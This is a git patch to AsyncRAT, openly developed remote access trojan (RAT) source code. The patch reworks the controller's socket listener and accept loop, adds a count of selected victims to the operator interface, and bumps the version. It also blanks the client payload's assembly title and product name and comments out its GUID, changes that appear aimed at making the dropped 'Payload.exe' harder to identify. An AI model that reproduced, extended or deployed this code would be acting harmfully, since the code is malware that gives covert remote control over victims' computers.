From e48b4cb7fd8d0b7f9d2a18a4b1842acec1746247 Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Thu, 14 Mar 2019 03:56:01 -0700 Subject: [PATCH] Update --- AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs | 4 ++-- AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs | 2 +- AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs | 20 +++++++------------ AsyncRAT-C#/Client/Program.cs | 2 +- AsyncRAT-C#/Client/Properties/AssemblyInfo.cs | 6 +++--- 5 files changed, 14 insertions(+), 20 deletions(-) diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs index 65699bc..985cd90 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs @@ -30,7 +30,7 @@ namespace AsyncRAT_Sharp private void Form1_Load(object sender, EventArgs e) { - this.Text = string.Format("AsyncRAT-Sharp {0} // NYAN CAT", Settings.Version); + this.Text = string.Format(" {0} // NYAN CAT", Settings.Version); Listener listener = new Listener(); Thread thread = new Thread(new ParameterizedThreadStart(listener.Connect)); @@ -87,7 +87,7 @@ namespace AsyncRAT_Sharp private void UpdateUI_Tick(object sender, EventArgs e) { - toolStripStatusLabel1.Text = string.Format("Online {0} Sent {1} Received {2}", Settings.Online.Count.ToString(), Helper.BytesToString(Settings.Sent).ToString(), Helper.BytesToString(Settings.Received).ToString()); + toolStripStatusLabel1.Text = string.Format("Online {0} Selected {3} Sent {1} Received {2}", Settings.Online.Count.ToString(), Helper.BytesToString(Settings.Sent).ToString(), Helper.BytesToString(Settings.Received).ToString(),listView1.SelectedItems.Count.ToString()); } private async void cLOSEToolStripMenuItem_Click(object sender, EventArgs e) diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs index 59f9769..47524a2 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs @@ -7,7 +7,7 @@ namespace AsyncRAT_Sharp { public static readonly List Online = new List(); public static readonly int Port = 6606; - public static readonly string Version = "0.2.3"; + public static readonly string Version = "AsyncRAT 0.2.5"; public static long Sent = 0; public static long Received = 0; } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs index b050d84..b00c989 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs @@ -8,23 +8,23 @@ namespace AsyncRAT_Sharp.Sockets { class Listener { - private Socket listener { get; set; } + private Socket Server { get; set; } public void Connect(object port) { try { IPEndPoint IpEndPoint = new IPEndPoint(IPAddress.Any, Convert.ToInt32(port)); - listener = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) + Server = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) { SendBufferSize = 50 * 1024, ReceiveBufferSize = 50 * 1024, ReceiveTimeout = -1, SendTimeout = -1, }; - listener.Bind(IpEndPoint); - listener.Listen(20); - BeginAccept(); + Server.Bind(IpEndPoint); + Server.Listen(20); + Server.BeginAccept(EndAccept, null); } catch (Exception ex) { @@ -33,18 +33,12 @@ namespace AsyncRAT_Sharp.Sockets } } - private async void BeginAccept() - { - await Task.Delay(1); - listener.BeginAccept(EndAccept, null); - } - private void EndAccept(IAsyncResult ar) { try { - BeginAccept(); - Clients CL = new Clients(listener.EndAccept(ar)); + Clients CL = new Clients(Server.EndAccept(ar)); + Server.BeginAccept(EndAccept, null); } catch { } } diff --git a/AsyncRAT-C#/Client/Program.cs b/AsyncRAT-C#/Client/Program.cs index 311040a..8fd95dd 100644 --- a/AsyncRAT-C#/Client/Program.cs +++ b/AsyncRAT-C#/Client/Program.cs @@ -19,7 +19,7 @@ namespace Client { public static readonly string IP = "127.0.0.1"; public static readonly int Port = 6606; - public static readonly string Version = "0.2.3"; + public static readonly string Version = "AsyncRAT 0.2.5"; public static readonly string ClientFullPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData), "Payload.exe"); } diff --git a/AsyncRAT-C#/Client/Properties/AssemblyInfo.cs b/AsyncRAT-C#/Client/Properties/AssemblyInfo.cs index 3bcb36a..521823b 100644 --- a/AsyncRAT-C#/Client/Properties/AssemblyInfo.cs +++ b/AsyncRAT-C#/Client/Properties/AssemblyInfo.cs @@ -5,11 +5,11 @@ using System.Runtime.InteropServices; // General Information about an assembly is controlled through the following // set of attributes. Change these attribute values to modify the information // associated with an assembly. -[assembly: AssemblyTitle("Client")] +[assembly: AssemblyTitle("")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("Client")] +[assembly: AssemblyProduct("")] [assembly: AssemblyCopyright("Copyright © 2019")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] @@ -20,7 +20,7 @@ using System.Runtime.InteropServices; [assembly: ComVisible(false)] // The following GUID is for the ID of the typelib if this project is exposed to COM -[assembly: Guid("c3c49f45-2589-4e04-9c50-71b6035c14ae")] +//[assembly: Guid("c3c49f45-2589-4e04-9c50-71b6035c14ae")] // Version information for an assembly consists of the following four values: //